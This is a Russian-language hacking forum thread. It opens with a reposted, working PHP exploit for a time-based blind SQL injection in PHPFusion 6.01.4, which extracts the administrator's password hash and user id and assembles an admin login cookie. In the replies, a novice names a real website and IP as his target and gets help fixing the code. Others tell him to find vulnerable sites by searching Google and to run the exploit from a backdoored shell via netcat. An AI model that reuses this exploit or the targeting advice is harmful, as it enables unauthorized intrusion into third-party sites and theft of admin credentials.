PDA

Просмотр полной версии : php-fusion 6.01.4 exploit sql


splitefire
11.10.2006, 23:38
If somebody needs...


#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
PHPFusion <= 6.01.4 extract()/_SERVER[REMOTE_ADDR] sql injection exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
--------------------------------------------------------------------------------
');
/*
works with
register globals = *Off*
magic_quotes_gcp = Off

explaination:
vulnerable code in maincore.php at lines 15-21:

...
if (ini_get('register_globals') != 1) {
$supers = array("_REQUEST","_ENV","_SERVER","_POST","_GET","_COOKIE","_SESSION","_FILES","_GLOBALS");
foreach ($supers as $__s) {
if ((isset($$__s) == true) && (is_array($$__s) == true)) extract($$__s, EXTR_OVERWRITE);
}
unset($supers);
}
...

extract() function can be sometimes a security hazard, in this case it allows
to overwrite some arrays like _SERVER[] one and launch an sql injection attack,
ex:

http://[target]/[path]/news.php?_SERVER[REMOTE_ADDR]='[SQL]

other attacks may be possible...
*/

if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to PHPFusion
Options:
-T[prefix: specify a table prefix (default: fusion_)
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Examples:
php '.$argv[0].' localhost /fusion/
php '.$argv[0].' localhost /fusion/ -p81
php '.$argv[0].' localhost / -P1.1.1.1:80
--------------------------------------------------------------------------------
');
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b) ';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$h tml))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$prefix="fusion_";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql="1.1.1.999'/**/UNION/**/SELECT/**/IF((ASCII(SUBSTRING(user_password,".$j.",1))=".$i."),benchmark(2000000,sha1('sun-tzu')),0)/**/FROM/**/".$prefix."users/**/WHERE/**/user_level=103/*";
echo "sql -> ".$sql."\n";
$sql=urlencode($sql);
$packet="GET ".$p."news.php HTTP/1.0\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: _SERVER[REMOTE_ADDR]=$sql;\r\n";
$packet.="Connection: Close\r\n\r\n";
usleep(2000000);
$starttime=time();
sendpacketii($packet);
$endtime=time();
echo "starttime -> ".$starttime."\n";
echo "endtime -> ".$endtime."\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\n";
if ($difftime > 10) {$password.=chr($i);echo "password -> ".$password."[???]\n";sleep(1);break;}

}
if ($i==255) {die("\nExploit failed...");}
}
$j++;
}

$chars[]="";
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$j=1;$id="";
while (!strstr($id,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql="1.1.1.999'/**/UNION/**/SELECT/**/IF((ASCII(SUBSTRING(user_id,".$j.",1))=".$i."),benchmark(2000000,sha1('sun-tzu')),0)/**/FROM/**/".$prefix."users/**/WHERE/**/user_level=103/*";
echo "sql -> ".$sql."\n";
$sql=urlencode($sql);
$packet="GET ".$p."news.php HTTP/1.0\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: _SERVER[REMOTE_ADDR]=$sql;\r\n";
$packet.="Connection: Close\r\n\r\n";
usleep(2000000);
$starttime=time();
sendpacketii($packet);
$endtime=time();
echo "starttime -> ".$starttime."\n";
echo "endtime -> ".$endtime."\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\n";
if ($difftime > 10) {$id.=chr($i);echo "id -> ".$id."[???]\n";sleep(1);break;}

}
if ($i==255) {die("\nExploit failed...");}
}
$j++;
}
echo "admin cookie -> fusion_user=".trim($id).$password.";\n";
?>

GreenBear
30.12.2006, 22:38
Кто может обьяснить, или снять видео, как пользоваться ?) Ну или хоть в двух словах, где что поменять надо, если надо, или написать в командной строке.
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to PHPFusion
Options:
-T[prefix: specify a table prefix (default: fusion_)
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Examples:
php '.$argv[0].' localhost /fusion/
php '.$argv[0].' localhost /fusion/ -p81
php '.$argv[0].' localhost / -P1.1.1.1:80
--------------------------------------------------------------------------------

мда.

memo
02.02.2007, 18:48
Взял на пробу этот эксплойт, нашел шпаргалку: http://forum.antichat.ru/threadnav26510-1-10.html

далее нашел вот это:

Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to PHPFusion
Options:
-T[prefix: specify a table prefix (default: fusion_)
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Examples:
php '.$argv[0].' localhost /fusion/
php '.$argv[0].' localhost /fusion/ -p81
php '.$argv[0].' localhost / -P1.1.1.1:80

цель выбрал эту - www.conadsis.com (IP: 70.86.20.18)

php у меня на c:\php\php.exe там же и sploit.php

пишу по шпаргалке (cmd):

c:\php\php.exe c:\php\sploit.php '.$argv[0].' 70.86.20.18
или
c:\php\php.exe c:\php\sploit.php '.$argv[0].' www.conadsis.com

получаю какую-то херню ввиде прокрутки текста эксплойта.

В чем ошибка? Правильно ли записываю аргументы? Может быт при инсталяции php надо указывать какие-нибудь опции?

P.S. Пробую впервые, для спортивного интересу, php и perl не знаю, но, вроде, по написаному ничего сложного нет. Может шпаргалка кривая?

Grey
02.02.2007, 19:32
Пиши так:

php c:\sp\sp.php http://site.ru /fusion/

А вообще если написать без параметров, т.е. так:

php c:\sp\sp.php

То появится сообщение в котором будет написано как правльно писать, и там нету '.$argv[0].' - это ты взял в самом коде, а на экран выведется содержимое это переменной, а её содержимое это путь к файлу-сплоиту, вот и всё. Будь внимательнее.

memo
06.02.2007, 13:53
пАнял, спасибо. Бум пробовать.

memo
06.02.2007, 15:32
Закинте парочку другою сайтиков на этом двиге.

В гогле набери "php-fusion 6.01.4" и будет тебе счастье :D там штук двадцать сразу выдаст.

memo
06.02.2007, 16:08
А вообще если написать без параметров, т.е. так:

php c:\sp\sp.php



Набрал.
Получил что-то не то:

Parse error: syntax error, unexpected T_STRING in c:\sp\sp.php on line 108


это, вроде, сообщение о синтаксической ошибке. У меня версия PHP - 5.0.4, может надо поновее или что-то в сплойте не так?

+toxa+
06.02.2007, 19:35
2 memo
Форум добавил пробел на 108 строке в переменную $html , убери его

memo
06.02.2007, 22:48
2 memo
Форум добавил пробел на 108 строке в переменную $html , убери его

спасибо, нашел, бум смотреть дальше ;)

memo
06.02.2007, 23:45
Может быть что-то в инсталяции или настройках php не так, после ввода с консоли

c:\php\>php c:\sp\sp.php

выдаёт распечатку файла sp.php, как после досовской команды type.

Ощущение такое, что интерпретатор php не работает. Сейчас пробую дома на php 5.2.0

Раньше пробовал на работе, на более древней версии php, но там интерпретатор работал, выдавал синтаксическую ошибку. Есть ли какие особенности инсталирования или какие-то явные причины нерабочего состояния интерпретатора php?

memo
07.02.2007, 15:11
Вроде, заработало, но сплойту мешает прокся за которой сижу. Есть ли варианты выхода через прокси?

http://www.laborunion.lt/memorandum/Pict/sploit.JPG

+toxa+
07.02.2007, 15:14
А ты с шелла запускай...

memo
07.02.2007, 18:52
А ты с шелла запускай...

Где почитать, чтоб попроще? Не пробовал ниразу :confused:

+toxa+
07.02.2007, 23:26
Да нигде... запускай на шелле бэкдор, коннекться неткэтом и запускай...

memo
08.02.2007, 01:55
Да нигде... запускай на шелле бэкдор, коннекться неткэтом и запускай...

ниасилю...

вот попробовал другой вариант, команда таже, но без прокси, ответ пишет такой:

No response from http://www.conadsis.com:80

так надо понимать, что 80-ый порт не подходит?

Как узнать на каком порте надо ресурс указать?

Штук десять сайтов попробовал и на всех No response..., видимо, что-то не так делаю.

_-[A.M.D]HiM@S-_
08.02.2007, 15:17
Хватит . Closed